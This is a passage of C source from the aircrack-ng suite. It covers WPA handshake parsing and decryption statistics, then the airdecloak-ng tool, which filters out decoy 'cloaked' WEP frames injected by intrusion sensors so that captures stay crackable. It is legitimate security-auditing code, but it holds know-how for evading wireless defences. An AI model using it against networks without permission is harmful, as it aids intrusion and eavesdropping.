|| st_cur->eapol_size > sizeof(st_cur->eapol))
{
// Ignore the packet trying to crash us.
st_cur->eapol_size = 0;
continue;
}
memcpy(st_cur->keymic, &h80211[z + 81], 16); //-V512
memcpy(st_cur->eapol, &h80211[z], st_cur->eapol_size);
memset(st_cur->eapol + 81, 0, 16);
/* copy the key descriptor version */
st_cur->keyver = h80211[z + 6] & 7;
}
/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
&& (h80211[z + 6] & 0x80) != 0 && (h80211[z + 5] & 0x01) != 0)
{
if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
{
/* set authenticator nonce */
memcpy(st_cur->anonce, &h80211[z + 17], 32);
}
/* copy the MIC & eapol frame */
st_cur->eapol_size = (h80211[z + 2] << 8) + h80211[z + 3] + 4;
if (pkh.len - z < st_cur->eapol_size
|| st_cur->eapol_size == 0 //-V560
|| st_cur->eapol_size > sizeof(st_cur->eapol))
{
// Ignore the packet trying to crash us.
st_cur->eapol_size = 0;
continue;
}
memcpy(st_cur->keymic, &h80211[z + 81], sizeof(st_cur->keymic));
memcpy(st_cur->eapol, &h80211[z], st_cur->eapol_size);
memset(
st_cur->eapol + 81,
0,
16); // where does this size come from? eapol is char[256]
/* copy the key descriptor version */
st_cur->keyver = h80211[z + 6] & 7;
}
memcpy(st_cur->bssid, bssid, sizeof(st_cur->bssid));
st_cur->valid_ptk = calc_ptk(st_cur, opt.pmk);
}
}
/* cleanup avl tree */
void *key, *value;
while (c_avl_pick(stations, &key, &value) == 0)
{
free(value);
}
c_avl_destroy(stations);
fclose(f_in);
fclose(f_out);
if (f_bad != NULL) fclose(f_bad);
/* write some statistics */
erase_line(2);
printf("Total number of stations seen %8lu\n"
"Total number of packets read %8lu\n"
"Total number of WEP data packets %8lu\n"
"Total number of WPA data packets %8lu\n"
"Number of plaintext data packets %8lu\n"
"Number of decrypted WEP packets %8lu\n"
"Number of corrupted WEP packets %8lu\n"
"Number of decrypted WPA packets %8lu\n"
"Number of bad TKIP (WPA) packets %8lu\n"
"Number of bad CCMP (WPA) packets %8lu\n",
stats.nb_stations,
stats.nb_read,
stats.nb_wep,
stats.nb_wpa,
stats.nb_plain,
stats.nb_unwep,
stats.nb_bad,
stats.nb_unwpa,
stats.nb_failed_tkip,
stats.nb_failed_ccmp);
if (!memcmp(opt.bssid, ZERO, 6) && wds)
printf("Warning: WDS packets detected, but no BSSID specified\n");
return (EXIT_SUCCESS);
} |
C | aircrack-ng/src/airdecloak-ng/airdecloak-ng.c | /*
* WEP Cloaking filtering
*
* Copyright (C) 2008-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
*
* Thanks to Alex Hernandez aka alt3kx for the hardware.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <getopt.h>
#include "airdecloak-ng.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/defs.h"
#include "radiotap/radiotap_iter.h"
#include "aircrack-ng/tui/console.h"
static unsigned char buffer[65536];
static char * _filename_output_invalid;
static char * _filename_output_cloaked;
static size_t _filename_output_cloaked_len;
static char * _filename_output_filtered;
static size_t _filename_output_filtered_len;
static FILE * _output_cloaked_packets_file;
static FILE * _output_clean_capture_file;
static FILE * _input_file;
static struct pcap_file_header _pfh_in;
static struct pcap_file_header _pfh_out;
static long _filters;
static int _is_wep;
static unsigned char _bssid[6];
static int _options_drop_fragments = 0;
//static int _options_disable_retry = 0;
static int _options_disable_base_filter = 0;
static int _options_assume_null_packets_uncloaked = 0;
static struct decloak_stats stats;
static int getBits(unsigned char b, int from, int nb_bits)
{
unsigned int value = (unsigned int) b;
unsigned int and_1st = 0;
int i;
if (from < 0 || from > 7 || nb_bits <= 0 || (from + nb_bits) > 8)
{
return -1;
}
for (i = from; i < from + nb_bits; i++)
{
and_1st += 1 << i;
}
value &= and_1st;
value >>= from;
return value;
}
static FILE * openfile(const char * filename, const char * mode, int fatal)
{
REQUIRE(filename != NULL);
REQUIRE(mode != NULL);
FILE * f;
if ((f = fopen(filename, mode)) == NULL)
{
perror("fopen failed\n");
printf("Could not open \"%s\" in \"%s\" mode.\n", filename, mode);
if (fatal)
{
exit(EXIT_FAILURE);
}
}
return f;
}
// Return 1 on success, 0 on failure
static BOOLEAN write_packet(FILE * file, struct packet_elt * packet)
{
REQUIRE(file != NULL);
REQUIRE(packet != NULL);
int result;
unsigned int caplen = packet->header.caplen;
// Write packet header
if (_pfh_in.magic == TCPDUMP_CIGAM)
SWAP32(packet->header
.caplen); // Make sure it is re-swapped CORRECTLY -> OK
result = fwrite(&(packet->header), 1, PACKET_HEADER_SIZE, file);
if (result != PACKET_HEADER_SIZE)
{
perror("fwrite(packet header) failed");
return false;
}
// Write packet
result = fwrite(packet->packet, 1, caplen, file);
if (result != (int) caplen)
{
perror("fwrite(packet) failed");
return false;
}
return true;
}
static FILE * init_new_pcap(const char * filename)
{
REQUIRE(filename != NULL);
FILE * f;
f = openfile(filename, "wb", 1);
if (f != NULL)
{
if (fwrite(&_pfh_out, 1, sizeof(_pfh_out), f)
!= (size_t) sizeof(_pfh_out))
{
perror("fwrite(pcap file header) failed");
}
}
return f;
}
static FILE * open_existing_pcap(const char * filename)
{
REQUIRE(filename != NULL);
FILE * f;
size_t temp_sizet;
f = fopen(filename, "rb");
if (f == NULL)
{
perror("Unable to open pcap");
return NULL;
}
temp_sizet = (size_t) sizeof(_pfh_in);
if (fread(&_pfh_in, 1, temp_sizet, f) != temp_sizet)
{
perror("fread(pcap file header) failed");
fclose(f);
return NULL;
}
if (_pfh_in.magic != TCPDUMP_MAGIC && _pfh_in.magic != TCPDUMP_CIGAM)
{
printf("\"%s\" isn't a pcap file (expected "
"TCPDUMP_MAGIC).\n",
filename);
fclose(f);
return NULL;
}
_pfh_out = _pfh_in;
if (_pfh_in.magic == TCPDUMP_CIGAM) SWAP32(_pfh_in.linktype);
if (_pfh_in.linktype != LINKTYPE_IEEE802_11
&& _pfh_in.linktype != LINKTYPE_PRISM_HEADER
&& _pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
&& _pfh_in.linktype != LINKTYPE_PPI_HDR)
{
printf("\"%s\" isn't a regular 802.11 "
"(wireless) capture.\n",
filename);
fclose(f);
return NULL;
}
else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
{
printf("Radiotap header found. Parsing Radiotap is experimental.\n");
}
else if (_pfh_in.linktype == LINKTYPE_PPI_HDR)
{
printf("PPI not yet supported\n");
fclose(f);
return NULL;
}
//_pcap_linktype = _pfh_in.linktype;
return f;
}
static BOOLEAN initialize_linked_list(void)
{
_packet_elt_head
= (struct packet_elt_header *) malloc(sizeof(struct packet_elt_header));
ALLEGE(_packet_elt_head != NULL);
_packet_elt_head->first
= (struct packet_elt *) malloc(sizeof(struct packet_elt));
ALLEGE(_packet_elt_head->first != NULL);
_packet_elt_head->last = _packet_elt_head->first;
_packet_elt_head->current = _packet_elt_head->first;
_packet_elt_head->current->complete = 0;
_packet_elt_head->current->prev = NULL; // First packet, no previous
_packet_elt_head->current->next = NULL;
_packet_elt_head->nb_packets = 1;
return true;
}
static BOOLEAN add_node_if_not_complete(void)
{
if (_packet_elt_head->current->complete == 1)
{
// Allocate new packet
_packet_elt_head->current->next
= (struct packet_elt *) malloc(sizeof(struct packet_elt));
ALLEGE(_packet_elt_head->current->next != NULL);
_packet_elt_head->current->next->prev = _packet_elt_head->current;
_packet_elt_head->current = _packet_elt_head->current->next;
_packet_elt_head->current->complete = 0;
_packet_elt_head->nb_packets += 1;
// Last will be set at the end of the while when everything went ok
} // No free of the *packet pointer because it is only set when everything
// is ok => if a packet is not ok, it will never have *packet malloced
// Always reset is_cloaked field and dropped field
_packet_elt_head->current->is_cloaked
= UKNOWN_FRAME_CLOAKING_STATUS; // Unknown state of this packet
_packet_elt_head->current->is_dropped = 0;
return true;
}
static void set_node_complete(void)
{
_packet_elt_head->current->complete = 1;
_packet_elt_head->last = _packet_elt_head->current;
}
static void remove_last_uncomplete_node(void)
{
struct packet_elt * packet;
if (_packet_elt_head->current->complete == 0)
{
packet = _packet_elt_head->current;
_packet_elt_head->nb_packets -= 1;
if (_packet_elt_head->current->prev)
{
_packet_elt_head->current->prev->next = NULL;
}
free(packet);
}
}
static int get_rtap_signal(int caplen)
{
REQUIRE(caplen > 0 && caplen < INT32_MAX);
struct ieee80211_radiotap_iterator iterator;
struct ieee80211_radiotap_header * rthdr;
rthdr = (struct ieee80211_radiotap_header *) buffer;
if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0)
return 0;
while (ieee80211_radiotap_iterator_next(&iterator) >= 0)
{
if (iterator.this_arg_index == IEEE80211_RADIOTAP_DBM_ANTSIGNAL)
return *iterator.this_arg;
if (iterator.this_arg_index == IEEE80211_RADIOTAP_DB_ANTSIGNAL)
return *iterator.this_arg;
if (iterator.this_arg_index == IEEE80211_RADIOTAP_LOCK_QUALITY)
return *iterator.this_arg;
}
return 0;
}
// !!!! WDS not yet implemented
static BOOLEAN read_packets(void)
{
int start;
time_t tt;
unsigned char * h80211;
size_t bytes_read;
memset(&stats, 0, sizeof(stats));
tt = time(NULL);
switch (_pfh_in.linktype)
{
case LINKTYPE_PRISM_HEADER:
start = 144; // based on madwifi-ng
break;
case LINKTYPE_RADIOTAP_HDR:
start = (int) (buffer[2]); // variable length!
break;
case LINKTYPE_IEEE802_11:
// 0
case LINKTYPE_PPI_HDR:
// ?
default:
start = 0;
break;
}
// Show link type
printf("Link type (Prism: %d - Radiotap: %d - 80211: %d - PPI - %d): ",
LINKTYPE_PRISM_HEADER,
LINKTYPE_RADIOTAP_HDR,
LINKTYPE_IEEE802_11,
LINKTYPE_PPI_HDR);
switch (_pfh_in.linktype)
{
case LINKTYPE_PRISM_HEADER:
puts("Prism");
break;
case LINKTYPE_RADIOTAP_HDR:
puts("Radiotap");
break;
case LINKTYPE_IEEE802_11:
puts("802.11");
break;
case LINKTYPE_PPI_HDR:
puts("PPI");
break;
default:
printf("Unknown (%lu)\n", (unsigned long) _pfh_in.linktype);
break;
}
// Initialize double linked list.
initialize_linked_list();
while (1)
{
if (time(NULL) - tt > 0)
{
// update the status line every second
erase_line(0);
printf("Read %lu packets...\r", stats.nb_read);
fflush(stdout);
tt = time(NULL);
}
/* read one packet */
// Only malloc if complete
add_node_if_not_complete();
// puts("Reading packet header");
bytes_read = fread(&(_packet_elt_head->current->header),
1,
PACKET_HEADER_SIZE,
_input_file);
if (bytes_read != (size_t) PACKET_HEADER_SIZE)
{
if (bytes_read != 0)
{
printf("Failed to read packet header.\n");
}
else
{
// Normal, reached EOF.
// printf("Reached EOF.\n");
}
break;
}
if (_pfh_in.magic == TCPDUMP_CIGAM)
SWAP32(_packet_elt_head->current->header.caplen);
if (_packet_elt_head->current->header.caplen <= 0
|| _packet_elt_head->current->header.caplen > 65535)
{
printf("Corrupted file? Invalid packet length %lu.\n",
(unsigned long) _packet_elt_head->current->header.caplen);
break;
}
// Reset buffer
memset(buffer, 0, 65536);
// Read packet from file
bytes_read = fread(
buffer, 1, _packet_elt_head->current->header.caplen, _input_file);
if (bytes_read != (size_t) _packet_elt_head->current->header.caplen)
{
printf("Error reading the file: read %lu bytes out of %lu.\n",
(unsigned long) bytes_read,
(unsigned long) _packet_elt_head->current->header.caplen);
break;
}
stats.nb_read++;
// Put all stuff in the packet header and
// ---------------------------- Don't remove anything
// ----------------------
// ---------------------------- Just know where the packet start
// -----------
h80211 = buffer + start;
// Know the kind of packet
_packet_elt_head->current->frame_type = getBits(*h80211, 2, 2);
#ifdef DEBUG
printf("Frame type: %d\n", _packet_elt_head->current->frame_type);
#endif
_packet_elt_head->current->version_type_subtype = *h80211;
#ifdef DEBUG
printf("First byte: %x\n", *h80211);
#endif
// Filter out unknown packet types and control frames
if (_packet_elt_head->current->frame_type != FRAME_TYPE_DATA
&& _packet_elt_head->current->frame_type != FRAME_TYPE_MANAGEMENT)
{
// Don't care about the frame (if it's a control or unknown frame).
if (_packet_elt_head->current->frame_type != FRAME_TYPE_CONTROL)
{
// Unknown frame type, log it
// printf("Unknown frame type: %d\n", packet->frame_type);
// ------------- May be interesting to put all those packets in
// a separate file
}
continue;
}
if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT)
{
// Assumption: Management packets are not cloaked (may change in the
// future)
_packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED;
}
else if (_packet_elt_head->current->frame_type //-V547
== FRAME_TYPE_DATA)
{
_packet_elt_head->current->is_cloaked
= UKNOWN_FRAME_CLOAKING_STATUS;
}
// Retry bit
_packet_elt_head->current->retry_bit = getBit(*(h80211 + 1), 3);
// More fragments bit
_packet_elt_head->current->more_fragments_bit
= getBit(*(h80211 + 1), 2);
if (_packet_elt_head->current->more_fragments_bit
&& _options_drop_fragments)
{
_packet_elt_head->current->is_dropped = 1;
}
// TODO: Get the speed from the packet if radiotap/prism header exist.
// TODO: Get also the channel from the headers (the sensor may inject
// cloaked frames on a channel is not the same as the AP)
#ifdef DEBUG
printf("Retry bit: %d\n", _packet_elt_head->current->retry_bit);
printf("More fragments bit: %d\n",
_packet_elt_head->current->more_fragments_bit);
#endif
/*------------------------------- drop if control frame (does not
* contains SN) ----------------------*/
// TODO: We should care about control frames since they are not cloaked
// and they can be useful for signal filtering (have a better
// average).
/* check the BSSID */
switch (h80211[1] & 3)
{
case 0: // To DS = 0, From DS = 0: DA, SA, BSSID (Ad Hoc)
memcpy(_packet_elt_head->current->destination, h80211 + 4, 6);
memcpy(_packet_elt_head->current->source, h80211 + 10, 6);
memcpy(_packet_elt_head->current->bssid, h80211 + 16, 6);
_packet_elt_head->current->fromDS = 0;
_packet_elt_head->current->toDS = 0;
break;
case 1: // To DS = 1, From DS = 0: BSSID, SA, DA (To DS)
memcpy(_packet_elt_head->current->bssid, h80211 + 4, 6);
memcpy(_packet_elt_head->current->source, h80211 + 10, 6);
memcpy(_packet_elt_head->current->destination, h80211 + 16, 6);
_packet_elt_head->current->fromDS = 0;
_packet_elt_head->current->toDS = 1;
break;
case 2: // To DS = 0, From DS = 1: DA, BSSID, SA (From DS)
memcpy(_packet_elt_head->current->destination, h80211 + 4, 6);
memcpy(_packet_elt_head->current->bssid, h80211 + 10, 6);
memcpy(_packet_elt_head->current->source, h80211 + 16, 6);
_packet_elt_head->current->fromDS = 1;
_packet_elt_head->current->toDS = 0;
break;
case 3: // To DS = 1, From DS = 1: RA, TA, DA, SA (WDS)
memcpy(_packet_elt_head->current->source, h80211 + 24, 6);
memcpy(_packet_elt_head->current->bssid, h80211 + 10, 6);
memcpy(_packet_elt_head->current->destination, h80211 + 16, 6);
_packet_elt_head->current->fromDS = 1;
_packet_elt_head->current->toDS = 1;
break;
}
#ifdef DEBUG
printf("FromDS: %d - ToDS: %d\n",
_packet_elt_head->current->fromDS,
_packet_elt_head->current->toDS);
printf("BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
_packet_elt_head->current->bssid[0],
_packet_elt_head->current->bssid[1],
_packet_elt_head->current->bssid[2],
_packet_elt_head->current->bssid[3],
_packet_elt_head->current->bssid[4],
_packet_elt_head->current->bssid[5]);
printf("Source: %02X:%02X:%02X:%02X:%02X:%02X\n",
_packet_elt_head->current->source[0],
_packet_elt_head->current->source[1],
_packet_elt_head->current->source[2],
_packet_elt_head->current->source[3],
_packet_elt_head->current->source[4],
_packet_elt_head->current->source[5]);
printf("Dest: %02X:%02X:%02X:%02X:%02X:%02X\n",
_packet_elt_head->current->destination[0],
_packet_elt_head->current->destination[1],
_packet_elt_head->current->destination[2],
_packet_elt_head->current->destination[3],
_packet_elt_head->current->destination[4],
_packet_elt_head->current->destination[5]);
#endif
// Filter out packets not belonging to our BSSID
if (memcmp(_packet_elt_head->current->bssid, _bssid, 6) != 0)
{
// Not the BSSID we are looking for
// printf("It's not the BSSID we are looking for.\n");
continue;
}
// Grab sequence number and fragment number
_packet_elt_head->current->sequence_number
= ((h80211[22] >> 4) + (h80211[23] << 4)); // 12 bits
_packet_elt_head->current->fragment_number
= getBits(h80211[23], 4, 4); // 4 bits
// drop frag option
if (_options_drop_fragments
&& _packet_elt_head->current->fragment_number)
{
_packet_elt_head->current->is_dropped = 1;
}
#ifdef DEBUG
printf("Sequence: %d - Fragment: %d\n",
_packet_elt_head->current->sequence_number,
_packet_elt_head->current->fragment_number);
#endif
// Get the first beacon and search for WEP only
// if not (data) wep, stop completely processing (_is_wep)
if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT)
{
// Get encryption from beacon/probe response
if (h80211[0] == BEACON_FRAME || h80211[0] == PROBE_RESPONSE)
{
if ((h80211[34] & 0x10) >> 4)
{
_is_wep = 1;
// Make sure it's not WPA
// TODO: See airodump-ng around line 1500
}
else
{
// Completely stop processing
printf(
"FATAL ERROR: The network is not WEP (byte 34: %d)\n.",
h80211[34]);
exit(1);
}
}
}
if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
{
// Copy IV
memcpy(_packet_elt_head->current->iv, (h80211 + 24), 3);
#ifdef DEBUG
printf("IV: %X %X %X\n",
_packet_elt_head->current->iv[0],
_packet_elt_head->current->iv[1],
_packet_elt_head->current->iv[2]);
#endif
// Copy key index
_packet_elt_head->current->key_index = h80211[27];
#ifdef DEBUG
printf("Key index: %d\n", _packet_elt_head->current->key_index);
#endif
// Copy checksum
memcpy(_packet_elt_head->current->icv,
buffer + (_packet_elt_head->current->header.caplen) - 4,
4);
#ifdef DEBUG
printf("ICV: %X %X %X %X\n",
_packet_elt_head->current->icv[0],
_packet_elt_head->current->icv[1],
_packet_elt_head->current->icv[2],
_packet_elt_head->current->icv[3]);
#endif
}
else
{ // Management packet (control packets were filtered out).
_packet_elt_head->current->iv[0] = _packet_elt_head->current->iv[1]
= _packet_elt_head->current->iv[2] = 0;
_packet_elt_head->current->key_index = 0;
_packet_elt_head->current->icv[0]
= _packet_elt_head->current->icv[1]
= _packet_elt_head->current->icv[2]
= _packet_elt_head->current->icv[3] = 0;
#ifdef DEBUG
printf("Not a data packet thus no IV, no key index, no ICV\n");
#endif
}
// Copy the packet itself
_packet_elt_head->current->packet = (unsigned char *) malloc(
_packet_elt_head->current->header.caplen);
ALLEGE(_packet_elt_head->current->packet != NULL);
memcpy(_packet_elt_head->current->packet,
buffer,
_packet_elt_head->current->header.caplen);
// Copy signal if exist
_packet_elt_head->current->signal_quality = -1;
if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER)
{
// Hack: pos 0x44 (at least on madwifi-ng)
_packet_elt_head->current->signal_quality = buffer[0x44];
}
else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
{
_packet_elt_head->current->signal_quality
= get_rtap_signal(_packet_elt_head->current->header.caplen);
}
#ifdef DEBUG
printf("Signal quality: %d\n",
_packet_elt_head->current->signal_quality);
#endif
// Append to the list
#ifdef ONLY_FIRST_PACKET
puts("!!! Don't forget to append");
break;
#else
set_node_complete();
#endif
}
remove_last_uncomplete_node();
printf("Nb packets: %d \n", _packet_elt_head->nb_packets);
return true;
}
static void reset_current_packet_pointer(void)
{
_packet_elt_head->current = _packet_elt_head->first;
}
static BOOLEAN reset_current_packet_pointer_to_ap_packet(void)
{
reset_current_packet_pointer();
return next_packet_pointer_from_ap();
}
static BOOLEAN reset_current_packet_pointer_to_client_packet(void)
{
reset_current_packet_pointer();
return next_packet_pointer_from_client();
}
static BOOLEAN next_packet_pointer_from_ap(void)
{
while (_packet_elt_head->current->toDS != 0)
{
if (next_packet_pointer() == false)
{
return false;
}
}
return true;
}
static BOOLEAN next_packet_pointer_from_client(void)
{
while (_packet_elt_head->current->toDS == 0)
{
if (next_packet_pointer() == false)
{
return false;
}
}
if (_packet_elt_head->current->toDS == 1)
{
return true;
}
else
{
return false;
}
}
static BOOLEAN next_packet_pointer(void)
{
BOOLEAN success = false;
// Go to next packet if not the last one
if (_packet_elt_head->current != _packet_elt_head->last)
{
_packet_elt_head->current = _packet_elt_head->current->next;
success = true;
}
return success;
}
static int compare_SN_to_current_packet(struct packet_elt * packet)
{
REQUIRE(packet != NULL);
if (_packet_elt_head->current->sequence_number > packet->sequence_number)
{
// Current packet SN is superior to packet SN
return 1;
}
else if (_packet_elt_head->current->sequence_number
< packet->sequence_number)
{
// Current packet SN is inferior to packet SN
return -1;
}
// Identical
return 0;
}
static BOOLEAN
current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet)
{
REQUIRE(packet != NULL);
BOOLEAN success = false;
if (_packet_elt_head->current->fromDS == packet->fromDS
&& _packet_elt_head->current->toDS == packet->toDS)
{
if (packet->fromDS == 1 && packet->toDS == 0)
{
// Coming from the AP, no other check needed
// (BSSID check already done when creating this list)
success = true;
}
else
{
// Also check MAC source
if (maccmp(packet->source, _packet_elt_head->current->source) == 0)
{
success = true;
}
}
}
else if (packet->fromDS == 0 && packet->toDS == 0)
{
// Beacons (and some other packets) coming from the AP (both fromDS and
// toDS are 0).
if (_packet_elt_head->current->fromDS == 1
&& _packet_elt_head->current->toDS == 0)
{
success = true;
}
}
return success;
}
static BOOLEAN
next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet)
{
REQUIRE(packet != NULL);
BOOLEAN success = false;
// !!! Now we only have the packets from the BSSID.
while (success == 0 && next_packet_pointer())
{
success = current_packet_pointer_same_fromToDS_and_source(packet);
}
return success;
}
static BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(void)
{
return next_packet_pointer_same_fromToDS_and_source(
_packet_elt_head->current);
}
static int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(void)
{
// This filtered 1148 packets on a 300-350K capture (~150K were cloaked)
// Filtering was done correctly, all packets marked as cloaked were really
// cloaked).
struct packet_elt * current_packet;
int how_far, nb_marked;
puts("Cloaking - Marking all duplicate SN cloaked if frame is valid or "
"uncloaked");
// Start from the beginning (useful comment)
reset_current_packet_pointer();
nb_marked = 0;
do
{
// We should first check for each VALID_FRAME_UNCLOAKED or CLOAKED_FRAME
// packet
// PACKET_CHECKING_LENGTH packets later (ONLY NEXT PACKETS)
// and if one of the packet has an identical SN, mark it as CLOAKED
if (_packet_elt_head->current->is_cloaked != VALID_FRAME_UNCLOAKED
&& _packet_elt_head->current->is_cloaked != CLOAKED_FRAME)
{
// Go to next packet if frame is not valid
continue;
}
current_packet = _packet_elt_head->current;
// printf("Trying current packet: %d,%d (SN: %d)\n",
// current_packet->fromDS, current_packet->toDS,
// current_packet->sequence_number);
// print_packet(_packet_elt_head->current);
how_far = 0;
while (++how_far <= PACKET_CHECKING_LENGTH
&& next_packet_pointer_same_fromToDS_and_source(current_packet)
== true)
{
switch (_packet_elt_head->current->is_cloaked)
{
case VALID_FRAME_UNCLOAKED:
case CLOAKED_FRAME:
// Status known, so go to next frame
break;
case POTENTIALLY_CLOAKED_FRAME:
// puts("CFC_with_valid_packets_mark_others_cloaked() -
// Invalid frame status found: POTENTIALLY_CLOAKED_FRAME");
break; // Should never happen here
case UKNOWN_FRAME_CLOAKING_STATUS:
// printf("Found unknown cloaking status frame, checking it
// - tested: %d,%d (SN: %d)\n",
// _packet_elt_head->current->fromDS,
//_packet_elt_head->current->toDS,
//_packet_elt_head->current->sequence_number);
if (compare_SN_to_current_packet(current_packet) == 0)
{
_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
++nb_marked;
}
break;
}
}
// Go back to the current packet
_packet_elt_head->current = current_packet;
} while (next_packet_pointer() == 1);
// Reset packet pointer so that next usages of current packet
// will start from the beginning (in case it's forgotten).
reset_current_packet_pointer();
printf("%d frames marked\n", nb_marked);
return nb_marked;
}
static int CFC_filter_duplicate_sn_ap(void)
{
int nb_packets = 0;
puts("Cloaking - Removing the duplicate SN for the AP");
reset_current_packet_pointer();
return nb_packets;
}
static int CFC_filter_duplicate_sn_client(void)
{
int nb_packets = 0;
puts("Cloaking - Removing the duplicate SN for the client");
reset_current_packet_pointer();
return nb_packets;
}
static int CFC_filter_duplicate_sn(void)
{
// This will remove a lot of legitimate packets unfortunately
return CFC_filter_duplicate_sn_ap() + CFC_filter_duplicate_sn_client();
}
static int get_average_signal_ap(void)
{
uint32_t all_signals;
uint32_t nb_packet_used;
int average_signal;
// Init
all_signals = nb_packet_used = 0;
average_signal = -1;
// Check if signal quality is included
if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER
|| _pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
{
if (reset_current_packet_pointer_to_ap_packet() == true)
{
// Calculate signal for all beacons and probe response (and count
// number of packets).
do
{
if (_packet_elt_head->current->version_type_subtype
== BEACON_FRAME
|| _packet_elt_head->current->version_type_subtype
== PROBE_RESPONSE)
{
nb_packet_used = adds_u32(nb_packet_used, 1U);
all_signals += _packet_elt_head->current->signal_quality;
}
} while (next_packet_pointer_same_fromToDS_and_source(
_packet_elt_head->current)
== true);
// Calculate the average
if (nb_packet_used > 0)
{
average_signal = (int) (all_signals / nb_packet_used);
if (((all_signals / (double) nb_packet_used) - average_signal)
* 100
> 50)
{
++average_signal;
}
}
printf("Average signal for AP packets: %d\n", average_signal);
}
else
{
puts("Average signal: No packets coming from the AP, cannot "
"calculate it");
}
}
else
{
puts("Average signal cannot be calculated because headers does not "
"include it");
}
// Return
return average_signal;
}
/**
* Filter packets based on signal.
*
* Use signal from all beacons, make an average
* This will allow to find out what packet are legitimate (coming from the AP)
* and thus removing cloaked packets
* By being able to remove cloaked packets, we'll find out the signal of the
* sensor(s)
* //and we'll be able to filter out the cloaked packets of clients.
*
* Enh: use signal from packets marked uncloaked instead of beacons.
*
* @return Number of frames marked cloaked.
*/
static int CFC_filter_signal(void)
{
// Maximum variation of the signal for unknown status frame and potentially
// cloaked frames (up & down)
#define MAX_SIGNAL_VARIATION 3
#define MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED 2
int average_signal;
int nb_packets = 0;
puts("Cloaking - Signal filtering");
// 1. Get the average signal
average_signal = get_average_signal_ap();
if (average_signal > 0)
{
reset_current_packet_pointer_to_ap_packet(); // Will be successful
// because signal > 0
do
{
switch (_packet_elt_head->current->is_cloaked)
{
case POTENTIALLY_CLOAKED_FRAME:
// Max allowed variation for potentially cloaked packet is a
// bit lower
// than the normal variation
if (abs(_packet_elt_head->current->signal_quality
- average_signal)
> MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED)
{
_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
++nb_packets;
break;
} //-V796
fallthrough;
case UKNOWN_FRAME_CLOAKING_STATUS:
// If variation is > max allowed variation, it's a cloaked
// packet
if (abs(_packet_elt_head->current->signal_quality
- average_signal)
> MAX_SIGNAL_VARIATION)
{
_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
++nb_packets;
break;
}
// If the signal quality is the same as the average signal,
// we're sure it's not a cloaked packet.
// Regarding any other signal difference compared to the
// average signal
// We could play with POTENTIALLY_CLOAKED frame depending on
// the variation
// but currently, it's uncloaked if inferior to the max
// allowed signal
_packet_elt_head->current->is_cloaked
= VALID_FRAME_UNCLOAKED;
break;
case VALID_FRAME_UNCLOAKED:
break;
case CLOAKED_FRAME:
break;
default:
break;
}
} while (next_packet_pointer_same_fromToDS_and_source_as_current()
== true);
}
// TODO: Do it also for clients: Calculate the average for know cloaked
// frames
// (each frame marked cloaked here) and then filter out wep cloaked
// frames.
// or implement it as another filter (since clients may have the same
// signal
// as the sensor).
// Return
return nb_packets;
}
static int CFC_filter_consecutive_sn(void)
{
int nb_packets = 0;
puts("Cloaking - Consecutive SN filtering");
nb_packets
= CFC_filter_consecutive_sn_ap() + CFC_filter_consecutive_sn_client();
return nb_packets;
}
static int CFC_filter_consecutive_sn_ap(void)
{
int nb_packets = 0;
BOOLEAN next_packet_result = false;
puts("Cloaking - Consecutive SN filtering (AP)");
// Filtering for the client is not easy at all, maybe we can base on the
// fact that wep cloaking clone everything in the packet
// except the data (and ofc the SN).
// So, atm filtering for the AP only (hoping the client is not uploading
// data ;))
reset_current_packet_pointer_to_ap_packet();
// Go to the first beacon or probe response.
while (
!(_packet_elt_head->current->version_type_subtype == BEACON_FRAME
|| _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE))
{
next_packet_result
= next_packet_pointer_same_fromToDS_and_source_as_current();
// Check if we didn't reach end of capture.
if (next_packet_result == false)
{
break;
}
}
// If end of capture, no packets have been filters.
if (next_packet_result == false)
{
return 0;
}
puts("NYI");
return nb_packets;
}
static int CFC_filter_consecutive_sn_client(void)
{
int nb_packets = 0;
puts("Cloaking - Consecutive SN filtering (Client)");
// For consecutive SN of the client, if packets are cloaked, we can rely on
// null frames or probe request/association request.
